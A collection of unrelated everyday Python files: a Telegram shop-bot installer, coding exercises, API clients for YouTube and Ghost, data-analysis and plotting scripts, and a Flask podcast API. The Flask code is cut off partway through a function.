from os import system, name, remove, mkdir, rmdir, listdir, environ
from os.path import exists
from sys import argv

import sqlite3

def clearConsole():
    system("cls" if name in ("nt", "dos") else "clear")

def create_config(token, main_admin_id, config_path="config.ini"):
    DEFAULT_CONFIG_TEXT = f"""[main_settings]
token = {token}
mainadminid = {main_admin_id}
debug = 0

[shop_settings]
name = Название магазина
greeting = Добро пожаловать!
refundpolicy = Текст для вкладки "Политика возврата"
contacts = Текст для вкладки "Контакты"
enableimage = 1
enablesticker = 0
enablephonenumber = 0
enabledelivery = 0
delivery_price = 0.0
enablecaptcha = 1

[stats_settings]
barcolor = 3299ff
borderwidth = 1
titlefontsize = 20
axisfontsize = 12
tickfontsize = 8
"""
    with open(config_path, "w") as config:
        config.write(DEFAULT_CONFIG_TEXT)

CREATE_CATS_TEXT = """
CREATE TABLE "cats" (
	"id" INTEGER,
	"name" TEXT NOT NULL,
	PRIMARY KEY("id")
)
"""
CREATE_ITEMS_TEXT = """
CREATE TABLE "items" (
	"id" INTEGER,
	"name" TEXT NOT NULL,
	"price" FLOAT NOT NULL,
	"cat_id" INTEGER NOT NULL,
	"desc" TEXT,
	"active" INTEGER,
	"amount" INTEGER,
	"image_id" INTEGER,
    "hide_image" INTEGER,
	PRIMARY KEY("id")
)
"""
CREATE_ORDERS_TEXT = """
CREATE TABLE "orders" (
	"order_id" INTEGER,
	"user_id" INTEGER,
	"item_list" TEXT,
	"email_adress" TEXT,
	"phone_number" TEXT,
	"home_adress" TEXT,
	"additional_message" TEXT,
	"date" TEXT,
    "status" INTEGER
    )
"""
CREATE_USERS_TEXT = """
CREATE TABLE "users" (
	"user_id" INTEGER NOT NULL,
	"is_admin" INTEGER,
	"is_manager" INTEGER,
	"notification" INTEGER,
	"date_created" TEXT,
    "cart" TEXT,
    "cart_delivery" INTEGER
)
"""
CREATE_COMMANDS_TEXT = """
CREATE TABLE "commands" (
    "id" INTEGER NOT NULL,
    "command" TEXT,
    "response" TEXT,
    PRIMARY KEY("id")
)
"""

def create_db():
    conn = sqlite3.connect("data.db")
    c = conn.cursor()
    c.execute(CREATE_CATS_TEXT)
    c.execute(CREATE_ITEMS_TEXT)
    c.execute(CREATE_ORDERS_TEXT)
    c.execute(CREATE_USERS_TEXT)
    c.execute(CREATE_COMMANDS_TEXT)
    conn.commit()
    conn.close()

def do_files_exist():
    return any(list(map(exists, ["config.ini", "images", "data.db"])))

if __name__ == "__main__":
    if "--nointeract" in argv:
        if do_files_exist():
            exit(0)

        token = environ.get("TELEGRAM_TOKEN")
        main_admin_id = environ.get("MAIN_ADMIN_ID")
        if token is None or main_admin_id is None:
            print("Не указаны переменные окружения TELEGRAM_TOKEN или MAIN_ADMIN_ID")
            exit(1)
        create_config(token, main_admin_id)

        create_db()
        [mkdir(name) for name in ["backups", "images"]]

        exit(0)

    clearConsole()
    if do_files_exist():
        while True:
            confirmation = input("Вы уверены, что хотите повторно запустить процесс установки? Все данные будут утеряны! (y/N) ")
            if confirmation.lower() in ["y", "yes", "n", "no", ""]:
                break
    else:
        confirmation = "y"

    if confirmation.lower() in ["y", "yes"]:
        print("Вы можете узнать как получить токен бота, перейдя по ссылке: https://youtu.be/fyISLEvzIec")
        token = input("Введите токен бота: ")
        print("Вы можете получить ваш ID, написав \"/start\" боту @userinfobot")
        main_admin_id = input("Введите ID главного администратора: ")
        if main_admin_id.isalnum():
            if exists("data.db"):
                remove("data.db")
                print("База данных была удалена.")
            create_db()
            print("База данных была создана.")
            if exists("config.ini"):
                remove("config.ini")
                print("Файл настроек был удален.")
            create_config(token, main_admin_id)
            print("Файл настроек был создан.")
            if exists("images"):
                for file in listdir("images"):
                    remove("images/" + file)
                rmdir("images")
                print("Папка \"images\" была удалена.")
            mkdir("images")
            print("Папка \"images\" была создана.")
            if exists("backups"):
                for folder in listdir("backups"):
                    for file in listdir("backups/" + folder):
                        remove(f"backups/{folder}/{file}")
                    rmdir(f"backups/{folder}")
                rmdir("backups")
                print("Папка \"backups\" была удалена.")
            mkdir("backups")
            print("Папка \"backups\" была создана.")
        else:
            print("Неверный ID главного администратора.")
    else:
        print("Установка была отменена.")

    input("Нажмите ENTER, чтобы продолжить...")


import math
import sys
input = sys.stdin.readline
n = int(input())

dp = [0] *(n+1)
dp[0]= 0
dp[1] = 1

for i in range(2,n+1):
    if math.sqrt(i).is_integer():
        dp[i] = 1
    else:
        dp[i] = i
#  이해가 안되면 직접 노트에 1부터 9까지해서 각 조합을 만들어 보면
# ex) 7 = 2**2 + 1**1 + 1**1 + 1**1   dp[7 - 1] = dp[6]이 이미 앞에 3개의 덧셈을 가지고 있어서
# dp[1] + dp [7 - 1] 하면 2가 나온다 dp[1] = 1**1이라
for i in range(2,n+1):
    for j in range(1,int(math.sqrt(i))+1):
        dp[i] = min(dp[i], dp[j*j] + dp[i-j*j])

print(dp[n])


from ..common_imports import *
from .utils import DepKey, hash_dict
from .model import (
    Node,
    CallableNode,
    GlobalVarNode,
    TerminalNode,
)

from .shallow_versions import DAG

class Version:
    """
    Model of a "deep" version of a component that includes versions of its
    dependencies.
    """

    def __init__(
        self,
        component: DepKey,
        dynamic_deps_commits: Dict[DepKey, str],
        memoized_deps_content_versions: Dict[DepKey, Set[str]],
    ):
        ### raw data from the trace
        # the component whose dependencies are traced
        self.component = component
        # the content hashes of the direct dependencies
        self.direct_deps_commits = dynamic_deps_commits
        # pointers to content hashes of versions of memoized calls
        self.memoized_deps_content_versions = memoized_deps_content_versions

        ### cached data. These are set against a dependency state
        self._is_synced = False
        # the expanded set of dependencies, including all transitive
        # dependencies. Note this is a set of *content* hashes per dependency
        self._content_expansion: Dict[DepKey, Set[str]] = None
        # a hash uniquely identifying the content of dependencies of this version
        self._content_version: str = None
        # the semantic hashes of all dependencies for this version;
        # the system enforces that the semantic hash of a dependency is the same
        # for all commits of a component referenced by this version
        self._semantic_expansion: Dict[DepKey, str] = None
        # overall semantic hash of this version
        self._semantic_version: str = None

    @property
    def presentation(self) -> str:
        return f'Version of "{self.component[1]}" from module "{self.component[0]}" (content: {self.content_version}, semantic: {self.semantic_version})'

    @staticmethod
    def from_trace(
        component: DepKey, nodes: Dict[DepKey, Node], strict: bool = True
    ) -> "Version":
        dynamic_deps_commits = {}
        memoized_deps_content_versions = defaultdict(set)
        for dep_key, node in nodes.items():
            if isinstance(node, (CallableNode, GlobalVarNode)):
                dynamic_deps_commits[dep_key] = node.content_hash
            elif isinstance(node, TerminalNode):
                terminal_data = node.representation
                pointer_dep_key = terminal_data.dep_key
                version_content_hash = terminal_data.call_content_version
                memoized_deps_content_versions[pointer_dep_key].add(
                    version_content_hash
                )
            else:
                raise ValueError(f"Unexpected node type {type(node)}")
        return Version(
            component=component,
            dynamic_deps_commits=dynamic_deps_commits,
            memoized_deps_content_versions=dict(memoized_deps_content_versions),
        )

    ############################################################################
    ### methods for setting cached data from a versioning state
    ############################################################################
    def _set_content_expansion(self, all_versions: Dict[DepKey, Dict[str, "Version"]]):
        result = defaultdict(set)
        for dep_key, content_hash in self.direct_deps_commits.items():
            result[dep_key].add(content_hash)
        for (
            dep_key,
            memoized_content_versions,
        ) in self.memoized_deps_content_versions.items():
            for memoized_content_version in memoized_content_versions:
                referenced_version = all_versions[dep_key][memoized_content_version]
                for (
                    referenced_dep_key,
                    referenced_content_hashes,
                ) in referenced_version.content_expansion.items():
                    result[referenced_dep_key].update(referenced_content_hashes)
        self._content_expansion = dict(result)

    def _set_content_version(self):
        self._content_version = hash_dict(
            {
                dep_key: tuple(sorted(self.content_expansion[dep_key]))
                for dep_key in self.content_expansion
            }
        )

    def _set_semantic_expansion(
        self,
        component_dags: Dict[DepKey, DAG],
        all_versions: Dict[DepKey, Dict[str, "Version"]],
    ):
        result = {}
        # from own deps
        for dep_key, dep_content_hash in self.direct_deps_commits.items():
            dag = component_dags[dep_key]
            semantic_hash = dag.commits[dep_content_hash].semantic_hash
            result[dep_key] = semantic_hash
        # from pointers
        for (
            dep_key,
            memoized_content_versions,
        ) in self.memoized_deps_content_versions.items():
            for memoized_content_version in memoized_content_versions:
                dep_version_semantic_hashes = all_versions[dep_key][
                    memoized_content_version
                ].semantic_expansion
                overlap = set(result.keys()).intersection(
                    dep_version_semantic_hashes.keys()
                )
                if any(result[k] != dep_version_semantic_hashes[k] for k in overlap):
                    raise ValueError(
                        f"Version {self} has conflicting semantic hashes for {overlap}"
                    )
                result.update(dep_version_semantic_hashes)
        self._semantic_expansion = result
        self._semantic_version = hash_dict(result)

    def sync(
        self,
        component_dags: Dict[DepKey, DAG],
        all_versions: Dict[DepKey, Dict[str, "Version"]],
    ):
        """
        Set all the cached things in the correct order
        """
        self._set_content_expansion(all_versions=all_versions)
        self._set_content_version()
        self._set_semantic_expansion(
            component_dags=component_dags, all_versions=all_versions
        )
        self.set_synced()

    @property
    def content_version(self) -> str:
        assert self._content_version is not None
        return self._content_version

    @property
    def semantic_version(self) -> str:
        assert self._semantic_version is not None
        return self._semantic_version

    @property
    def semantic_expansion(self) -> Dict[DepKey, str]:
        assert self._semantic_expansion is not None
        return self._semantic_expansion

    @property
    def content_expansion(self) -> Dict[DepKey, Set[str]]:
        assert self._content_expansion is not None
        return self._content_expansion

    @property
    def support(self) -> Iterable[DepKey]:
        return self.content_expansion.keys()

    @property
    def is_synced(self) -> bool:
        return self._is_synced

    def set_synced(self):
        # it can only go from unsynced to synced
        if self._is_synced:
            raise ValueError("Version is already synced")
        self._is_synced = True

    def __repr__(self) -> str:
        return f"""
Version(
    dependencies={['.'.join(elt) for elt in self.support]},
)"""


# Exercício 6.2

def ex6_2():
    """ Exercício 6.2

    Reúne duas listas e imprime a junção de ambas
    """
    key = ''
    index = 1
    list1 = []
    list2 = []

    print('Entre com os valores da primeira lista. Digite "p" para parar.')
    while key != 'p':
        key = input('Entre com o %d° item da lista: ' % index)
        try:
            list1.append(int(key))
            index += 1
        except ValueError:
            if key != 'p':
                print('Valor inválido. Tente novamente')

    key = ''
    index = 1
    print('Entre com os valores da segunda lista. Digite "p" para parar.')
    while key != 'p':
        key = input('Entre com o %d° item da lista: ' % index)
        try:
            list2.append(int(key))
            index += 1
        except ValueError:
            if key != 'p':
                print('Valor inválido. Tente novamente')

    print('União das duas listas\n', list1+list2)

# Exercício 6.3

def ex6_3():
    """
    Exercício 6.3

    Lê duas listas e reúne ambas removendo elementos duplicados
    """
    key = ''
    index = 1
    list1 = []
    list2 = []

    print('Entre com os valores da primeira lista. Digite "p" para parar.')
    while key != 'p':
        key = input('Entre com o %d° item da lista: ' % index)
        try:
            list1.append(int(key))
            index += 1
        except ValueError:
            if key != 'p':
                print('Valor inválido. Tente novamente')

    key = ''
    index = 1
    print('Entre com os valores da segunda lista. Digite "p" para parar.')
    while key != 'p':
        key = input('Entre com o %d° item da lista: ' % index)
        try:
            list2.append(int(key))
            index += 1
        except ValueError:
            if key != 'p':
                print('Valor inválido. Tente novamente')

    list1 += list2
    list2 = []

    for item in list1:
        if item not in list2:
            list2.append(item)

    print('União das listas removendo duplicados\n', list2)

def ex6_5():
    último = 10
    fila = list(range(1, último + 1))
    print("\nExistem %d clientes na fila" % len(fila))
    print("Fila atual:", fila)
    print("Digite uma sequência de movimentos na fila.")
    print("F adiciona um cliente ao fim da fila e A realiza o atendimento.")
    operação = input("Operações: ")
    i = 0
    while i < len(operação):
        if operação[i].upper() == "A":
            if(len(fila)) > 0:
                atendido = fila.pop(0)
                print("Cliente %d atendido" % atendido)
                print("Fila: ", fila)
            else:
                print("Fila vazia! Ninguém para atender...")
                # break
        elif operação[i].upper() == "F":
            último += 1  # Incrementa o ticket do novo cliente
            fila.append(último)
        elif operação.upper() == "S":
            break
        else:
            print("Operação inválida! Digite apenas F, A ou S!")
        i += 1
    print(fila)

def ex6_6():
    último1 = 10
    último2 = 7
    fila1 = list(range(1, último1 + 1))
    fila2 = list(range(1, último2 + 1))
    print("\nExistem %d clientes na fila 1" % len(fila1))
    print("Fila 1 atual:", fila1)
    print("\nExistem %d clientes na fila 2" % len(fila2))
    print("Fila 2 atual:", fila2)
    print("Digite uma sequência de movimentos nas filas.")
    print("F adiciona um cliente ao fim da fila 1 e A realiza o atendimento.")
    print("G adiciona um cliente ao fim da fila 2 e B realiza o atendimento.")
    operação = input("Operações: ")
    i = 0
    while i < len(operação):
        if operação[i].upper() == "A":
            if(len(fila1)) > 0:
                atendido = fila1.pop(0)
                print("Cliente {} atendido na fila 1".format(atendido))
                print("Fila 1: ", fila1)
            else:
                print("Fila 1 vazia! Ninguém para atender...")
                # break
        elif operação[i].upper() == "F":
            último1 += 1  # Incrementa o ticket do novo cliente
            fila1.append(último1)
        elif operação[i].upper() == "B":
            if(len(fila2)) > 0:
                atendido = fila2.pop(0)
                print("Cliente {} atendido na fila 2".format(atendido))
                print("Fil a: ", fila2)
            else:
                print("Fila 2 vazia! Ninguém para atender...")
                # break
        elif operação[i].upper() == "G":
            último2 += 1  # Incrementa o ticket do novo cliente
            fila2.append(último2)
        elif operação.upper() == "S":
            break
        else:
            print("Operação inválida! Digite apenas F, A, G, B ou S!")
        i += 1
    print(fila1)
    print(fila2)

def ex6_7():
    expressão = input('Entre uma expressão com parênteses: ')
    pilha = []
    for char in expressão:
        if char == '(':
            pilha.append(char)
        elif char == ')':
            if len(pilha) > 0:
                pilha.pop(-1)

    result = 'Parênteses preenchidos corretamente' if len(pilha) == 0 \
        else 'Parênteses não preenchidos corretamente'

    print(result)

def printmenu():
    print('{:=^28}\n'.format(' MENU '))
    menu = {1: 'Ex. 6.2: Reunir duas listas',
            2: 'Ex. 6.3: Reunir duas listas removendo duplicados',
            3: 'Ex. 6.5: Atendimento de fila no banco',
            4: 'Ex. 6.6: Atendimento de duas filas no banco',
            5: 'Ex. 6.7: Verificação de parênteses'}

    for item in menu:
        print('{}. {}'.format(item, menu[item]))
    return len(menu)

if __name__ == '__main__':

    opção = 'x'
    while True:
        itens = printmenu()
        opção = input(
                'Entre uma opçao [1 a {}] ou S para sair: '.format(itens))
        if opção == '1':
            ex6_2()
        elif opção == '2':
            ex6_3()
        elif opção == '3':
            ex6_5()
        elif opção == '4':
            ex6_6()
        elif opção == '5':
            ex6_7()
        elif opção.upper() == 'S':
            break
        else:
            print('Opção inválida.\nEscolha um item do menu ou S para sair')


#!/usr/bin/env python

import os

from pyyoutube.models import Playlist
from pyyoutube import Api

api = Api(client_id=os.environ["ID"], client_secret=os.environ["SECRET"])
print(api.get_authorization_url())
response = input("response:")
api.generate_access_token(authorization_response=response)

# channel_by_mine = api.get_channel_info(mine=True)
# print(channel_by_mine)
# channel_id = channel_by_mine.items[0].id
#
# playlists_by_channel = api.get_playlists(channel_id=channel_id)
# print(playlists_by_channel.items)

playlists_by_mine = api.get_playlists(mine=True)
playlist : Playlist
for playlist in playlists_by_mine.items:
    print(playlist.to_json())


#! /u/sgupta45/conda/bin/python3
import itertools
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
import re

hatch = {'FCFS': '*', 'LEDF': '.', 'GEDF': 'xx', 'GLAX': '/'}

def geo_mean(iterable):
    a = np.array(iterable)
    return a.prod()**(1.0/len(a))

def add_plot(offset, policy, label):
    if policy in hatch:
        plt.bar([i+offset for i in x], occupancy[policy], edgecolor='k',
                width=width, label=label, fc='w', hatch=hatch[policy])
    else:
        plt.bar([i+offset for i in x], occupancy[policy], edgecolor='k',
                width=width, label=label, fc='k')

policies = ['FCFS', 'LEDF', 'GEDF', 'GLAX', 'APRX3']
applications = ['canny', 'deblur', 'gru', 'harris', 'lstm']
app_mixes = sorted(list(itertools.combinations(applications, 3)))

def get_stat(app_mix, interconnect):
    values = []

    base_dir_name = '../image_4_parallel_dma_' + interconnect + '/'
    for app in applications:
        base_dir_name += app + '_'
        if app in app_mix: base_dir_name += '4_'
        else:              base_dir_name += '0_'

    for policy in policies:
        for line in open(base_dir_name + policy + '_pipeline/stats.txt'):
            if 'system.acctest.local_bus.utilization' in line:
                values.append(float(line.split()[1]))
                break

    return values

occupancy = {p:[] for p in policies}

for app_mix in app_mixes:
    bus_util = get_stat(app_mix, 'bus')
    xbar_util = get_stat(app_mix, 'xbar')
    for i, policy in enumerate(policies):
        occupancy[policy].append(xbar_util[i] / bus_util[i])

# calculate geo-mean for each policy
for policy in policies:
    occupancy[policy].append(geo_mean(occupancy[policy]))

# plot parameters
x = np.arange(len(app_mixes) + 1)

# add the bars
plt.figure(figsize=(24, 8), dpi=600)
plt.rc('axes', axisbelow=True)

width = 0.16
add_plot(-(width*2), 'FCFS',  'FCFS')
add_plot(-width,     'LEDF',  'GEDF-D')
add_plot(0,          'GEDF',  'GEDF-N')
add_plot(width,      'GLAX',  'LAX')
add_plot((width*2),  'APRX3', 'ELF')

x_labels = ['Mix ' + str(i) for i in range(len(app_mixes))] + ['Gmean']
plt.xlabel('Application mix', fontsize=35)
plt.xticks(x, x_labels, fontsize=35, rotation='vertical')

plt.ylabel('Interconnect occupancy time\n(xbar / util)', fontsize=35)
plt.yticks(fontsize=35)
#plt.ylim([0, 120])
#plt.gca().yaxis.set_major_locator(plt.MultipleLocator(0.2))

plt.legend(loc="upper left", ncol=5, fontsize=35)
plt.grid(color='silver', linestyle='-', linewidth=1)

# save the image
plt.savefig('plots/interconnect_occupancy.pdf', bbox_inches='tight')


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by shimeng on 17-9-14

from log_format import logger
import inspect
import os

# 判断线程状态
def isThreadAlive(threads):
    count = 0
    for t in threads:
        if t.isAlive():
            count += 1
    return count

# 错误信息格式化
def format_error_msg(file_name, func_name, error_msg):
    error_info = '''
    detail_error_info
    ##################
    file_name: {},
    func_name: {},
    error_msg: {}
    ##################
    '''.format(file_name, func_name, error_msg)
    return error_info

# 格式化放入工作队列数据
def format_put_data(args, work_func, dont_filter=False, follow_func=None, tag=None, need_save=True, save_func=None,
                    meta=None):
    put_data = {'args': args,
                'work_func': work_func,
                'follow_func': follow_func,
                'dont_filter': dont_filter,
                'tag': tag,
                'need_save': need_save,
                'save_func': save_func,
                'meta': meta
                }

    # args
    if not isinstance(args, dict) or not args:
        msg = 'IN [put_data], args has to be dict and can not be empty, please check, exiting......'

        logger.error(format_error_msg(inspect.stack()[1][1], inspect.stack()[1][3], msg))

        os._exit(0)
    elif 'url' not in args.keys():
        msg = 'IN [put_data], url has to be a key in args and can not be modified ,please check, exiting......'
        logger.error(format_error_msg(inspect.stack()[1][1], inspect.stack()[1][3], msg))
        os._exit(0)

    # work_func
    if work_func is None or not callable(work_func):
        msg = 'IN [put_data], work_func has to be defined and must be callable ,please check, exiting......'
        logger.error(format_error_msg(inspect.stack()[1][1], inspect.stack()[1][3], msg))
        os._exit(0)

    # meta
    if meta and not isinstance(meta, dict):
        msg = 'meta has to be dict while you defined it ,please check, exiting......'
        logger.error(format_error_msg(inspect.stack()[1][1], inspect.stack()[1][3], msg))
        os._exit(0)

    # save_func
    if save_func and not callable(save_func):
        msg = 'IN [put_data], save has to be callable while you define it ,please check, exiting......'
        logger.error(format_error_msg(inspect.stack()[1][1], inspect.stack()[1][3], msg))
        os._exit(0)

    return put_data


# -*- coding: utf-8 -*-
"""
author SparkByExamples.com
"""

from pyspark.sql import SparkSession
from pyspark.sql.types import StringType, ArrayType,StructType,StructField
spark = SparkSession.builder \
                    .appName('SparkByExamples.com') \
                    .getOrCreate()

arrayCol = ArrayType(StringType(),False)

data = [
 ("James,,Smith",["Java","Scala","C++"],["Spark","Java"],"OH","CA"),
 ("Michael,Rose,",["Spark","Java","C++"],["Spark","Java"],"NY","NJ"),
 ("Robert,,Williams",["CSharp","VB"],["Spark","Python"],"UT","NV")
]

schema = StructType([
    StructField("name",StringType(),True),
    StructField("languagesAtSchool",ArrayType(StringType()),True),
    StructField("languagesAtWork",ArrayType(StringType()),True),
    StructField("currentState", StringType(), True),
    StructField("previousState", StringType(), True)
  ])

df = spark.createDataFrame(data=data,schema=schema)
df.printSchema()
df.show()

from pyspark.sql.functions import explode
df.select(df.name,explode(df.languagesAtSchool)).show()

from pyspark.sql.functions import split
df.select(split(df.name,",").alias("nameAsArray")).show()

from pyspark.sql.functions import array
df.select(df.name,array(df.currentState,df.previousState).alias("States")).show()

from pyspark.sql.functions import array_contains
df.select(df.name,array_contains(df.languagesAtSchool,"Java")
    .alias("array_contains")).show()


from typing import Optional

import requests

from django.conf import settings

def make_ghost_request(
        method: str,
        path: str,
        files: Optional[dict] = None,
        data: Optional[dict] = None,
        json: Optional[dict] = None,
        headers: Optional[dict] = None,
        params: Optional[dict] = None,
) -> requests.Response:
    params = params or {}
    params['key'] = settings.GHOST_API_KEY

    request = requests.Request(
        method=method,
        url=f'{settings.GHOST_URL}/ghost/api/v4/content/{path}',
        files=files,
        data=data,
        json=json,
        headers=headers,
        params=params,
    ).prepare()

    return requests.Session().send(request)

def get_post(post_id: str, include: Optional[list[str]] = None):
    response = make_ghost_request(
        'get',
        f'posts/{post_id}/',
        params={
            'include': include,
        },
    )

    if response.status_code != 200:
        return

    try:
        return response.json().get('posts')[0]
    except (KeyError, IndexError):
        return

def browse_posts(include: Optional[list[str]] = None, request_filter: Optional[str] = None):
    response = make_ghost_request(
        'get',
        f'posts/',
        params={
            'include': include,
            'filter': request_filter,
        },
    )

    if response.status_code != 200:
        return

    try:
        return response.json().get('posts')
    except (KeyError, IndexError):
        return


#We'll extract cumulative statistics by zip code for cases,
#tests, positive test percentage, deaths, and vaccinations
#These csvs list statistics by week, so we take the most up to date
#cumulative statistics
#We normalize by zip code population where per capita data is lacking
#We provide a function to write to a csv with the desired data.

import pandas as pd

def extract_stats(csv_cases, csv_vacs):
    '''
    Function to take the csv file with data on cases, tests, and deaths,
    as well as the csv file with data on vaccinations,
    and produce a data frame with the desired cumulative statistics
    by zip code, normalized by zip code population

    Inputs:
        csv_cases (string): filepath for csv file of cases
        csv_vacs (string): filepath for csv file of vaccinations

    Outputs:
        merged_df (Pandas DataFrame): the final DataFrame
    '''
    vacs = pd.read_csv(csv_vacs)
    vacs['Date'] = pd.to_datetime(vacs['Date'])

    # Latest updates on vaccination percentages from 2/19/21 for all zip codes
    latest_vacs = vacs.groupby('Zip Code')['Date'].max()

    cum_perc_vacs = vacs.loc[vacs['Date'] == latest_vacs[0], ['Zip Code', \
            'Date', 'Vaccine Series Completed  - Percent Population']]

    cases = pd.read_csv(csv_cases)
    cases['Week End'] = pd.to_datetime(cases['Week End'])
    # Latest updates From 02/13/21 for all zip codes
    latest_cases = cases.groupby('ZIP Code')['Week End'].max()
    cases_zips = cases.loc[cases['Week End'] == latest_cases[0], \
            ['ZIP Code', 'Cases - Cumulative', 'Tests - Cumulative', \
            'Percent Tested Positive - Cumulative', 'Deaths - Cumulative', 'Population']]

    # No info for 60666
    cases_zips.fillna(0, inplace = True)

    cases_zips['Cases_Percent'] = (cases_zips['Cases - Cumulative'] / cases_zips['Population']) * 100
    cases_zips['Tests_Percent'] = (cases_zips['Tests - Cumulative'] / cases_zips['Population']) * 100
    cases_zips['Deaths_Percent'] = (cases_zips['Deaths - Cumulative'] / cases_zips['Population']) * 100
    cases_zips.fillna(0, inplace = True)

    cases_zips.rename(columns= {'ZIP Code':'Zip Code'}, inplace = True)

    merged_df = pd.merge(left = cum_perc_vacs, right = cases_zips, on='Zip Code')
    # Drop row with Unknown zip code (We think O'Hare)
    # This zip code has zero population in the cases csv, and 0 percent
    # vaccinated in the vacs csv.
    # It is listed as Unknown at every update of the cases csv
    merged_df = merged_df[merged_df['Zip Code'] != 'Unknown']
    merged_df.reset_index(drop = True, inplace = True)

    return merged_df

def write_csv():
    '''
    Write the dataframe with the desired statistics to a csv
    '''

    merged_df = extract_stats('COVID-19_Cases__Tests__and_Deaths_by_ZIP_Code.csv', \
            'COVID-19_Vaccinations_by_ZIP_Code.csv')
    merged_df.to_csv(path_or_buf = 'Cumulative_Cases_Tests_Deaths_Vacs_Zip_percapita.csv', \
            sep = ',')

def add_dates_to_cases():
    '''
    Adds 'Date' column to the cases csv such that dates are consistent
    with those in the vaccination csv.
    We will subtract 1 day from the Week End dates, and associate the result
    with the whole week.

    We originally added dates because we wanted the user to be able to select
    dates and see the progression of cases in a time series, but was not able
    to complete this in time.
    '''

    cases_df = pd.read_csv('COVID-19_Cases__Tests__and_Deaths_by_ZIP_Code.csv')
    cases_dates = cases_df['Week End']
    cases_dates = pd.to_datetime(cases_dates)
    cases_dates = cases_dates - pd.DateOffset(1)
    cases_df['Date'] = cases_dates
    cases_df.to_csv(path_or_buf = 'COVID-19_CasesTestsDeaths_Date.csv', sep = ',')


import os
import sys
from flask import Flask, request, abort, jsonify
from flask_sqlalchemy import SQLAlchemy
from flask_cors import CORS
from models import Podcast, Speaker, Episode, setup_db, db
from tests.sample import reset_db_tables
from auth.auth import AuthError, requires_auth

def create_app(test_config=None):
    # create and configure the app
    app = Flask(__name__)
    setup_db(app)
    app.config['JSON_SORT_KEYS'] = False
    # if no data in table fill with sample data
    query = Podcast.query.all
    if not query:
        reset_db_tables(app)

    '''
    Set up CORS
    '''
    cors = CORS(app, resources={r"/*": {'origins': '*'}})

    '''
    set Access-Control-Allow
    '''
    @app.after_request
    def after_request(response):
        response.headers.add(
            'Access-Control-Allow-Headers',
            'Content-Type, Authorization'
        )
        response.headers.add(
            'Access-Control-Allow-Methods',
            'GET, POST, PATCH, DELETE, OPTIONS'
        )
        return response

    @app.route('/', methods={'GET'})
    def home():
        return jsonify({
            'success': True,
            'message': 'Healthy'
        })

    '''
    GET Endpoints
    '''

    def get_all(Model, value):
        query = Model.query.all()
        items = [items.format() for items in query]

        return jsonify({
            'success': True,
            '{}'.format(value): items
        })

    def get_id(Model, id, value):
        query = Model.query.filter(Model.id == id).one_or_none()

        if query:
            item = query.format()
            return jsonify({
                'success': True,
                '{}'.format(value): item
            })
        else:
            abort(404)

    @app.route('/podcasts', methods={'GET'})
    def get_podcasts():
        return get_all(Podcast, 'podcasts')

    @app.route('/podcasts/<int:podcast_id>', methods={'GET'})
    def get_podcast_id(podcast_id):
        return get_id(Podcast, podcast_id, 'podcast')

    @app.route('/speakers', methods={'GET'})
    def get_speakers():
        return get_all(Speaker, 'speakers')

    @app.route('/speakers/<int:speaker_id>', methods={'GET'})
    def get_speaker_id(speaker_id):
        return get_id(Speaker, speaker_id, 'speaker')

    @app.route('/episodes', methods={'GET'})
    def get_episodes():
        return get_all(Episode, 'episodes')

    @app.route('/episodes/<int:episode_id>', methods={'GET'})
    def get_episode_id(episode_id):
        return get_id(Episode, episode_id, 'episode')

    '''
    POST Endpoints
    '''

    @app.route('/podcasts', methods=['POST'])
    @requires_auth('post:data')
    def create_search_podcast(payload):
        body = request.get_json()
        new_author = body.get('author', None)
        new_name = body.get('name', None)
        new_image_link = body.get('image', None)
        new_podcast_link = body.get('podcast_link', None)
        search = body.get('search', None)

        try:
            if search:
                # Search in Podcasts for author and name
                query_author = (
                    Podcast.query
                    .filter(Podcast.author.ilike("%{}%".format(search)))
                )
                author_results = [podcast.format() for podcast in query_author]

                query_name = (
                    Podcast.query
                    .filter(Podcast.name.ilike("%{}%".format(search)))
                )
                name_results = [podcast.format() for podcast in query_name]

                search_count = len(name_results)+len(author_results)

                result = {
                    'success': True,
                    'author_search': author_results,
                    'name_search': name_results,
                    'results': search_count
                }
            else:
                # POST a new podcast
                podcast = Podcast(
                    author=new_author, name=new_name,
                    image=new_image_link, podcast_link=new_podcast_link
                )
                podcast.insert()
                result = {
                    'success': True,
                    'podcast': podcast.format()
                }

        except:
            db.session.rollback()
            print(sys.exc_info())
            abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    @app.route('/speakers', methods=['POST'])
    @requires_auth('post:data')
    def create_search_speaker(payload):
        body = request.get_json()
        new_name = body.get('name', None)
        new_image_link = body.get('image_link', None)
        new_twitter_link = body.get('twitter_link', None)
        new_website_link = body.get('website_link', None)
        search = body.get('search', None)

        try:
            if search:
                # Search in Speakers for names

                query_name = (
                    Speaker.query
                    .filter(Speaker.name.ilike("%{}%".format(search)))
                )
                name_results = [speaker.format() for speaker in query_name]

                search_count = len(name_results)

                result = {
                    'success': True,
                    'name_search': name_results,
                    'results': search_count
                }
            else:
                # POST a new speaker
                speaker = Speaker(
                    name=new_name,
                    image_link=new_image_link,
                    twitter_link=new_twitter_link,
                    website_link=new_website_link
                )
                speaker.insert()
                result = {
                    'success': True,
                    'speaker': speaker.format()
                }

        except:
            db.session.rollback()
            print(sys.exc_info())
            abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    @app.route('/episodes', methods=['POST'])
    @requires_auth('post:data')
    def create_search_episodes(payload):
        body = request.get_json()
        new_title = body.get('title', None)
        new_topics = body.get('topics', None)
        new_podcast_link = body.get('podcast_link', None)
        new_speaker_id = body.get('speaker_id', None)
        new_podcast_id = body.get('podcast_id', None)
        search = body.get('search', None)

        try:
            if search:
                # Search in Episodes for titles and topics

                query_title = (
                    Episode.query
                    .filter(Episode.title.ilike("%{}%".format(search)))
                )
                title_results = [episode.format() for episode in query_title]

                query_topics = (
                    Episode.query
                    .filter(Episode.topics.ilike("%{}%".format(search)))
                )
                topics_results = [episode.format() for episode in query_topics]

                search_count = len(title_results)+len(topics_results)

                result = {
                    'success': True,
                    'title_search': title_results,
                    'topics_search': topics_results,
                    'results': search_count
                }
            else:
                # POST a new episode
                episode = Episode(
                    title=new_title,
                    topics=new_topics,
                    podcast_link=new_podcast_link,
                    speaker_id=new_speaker_id,
                    podcast_id=new_podcast_id
                )
                episode.insert()
                result = {
                    'success': True,
                    'episode': episode.format()
                }

        except:
            db.session.rollback()
            print(sys.exc_info())
            abort(422)

        finally:
            db.session.close()

        return jsonify(result)

    '''
    DELETE Endpoints
    '''
    def delete_by_id(Model, id):
        try:
            query = Model.query.get(id)
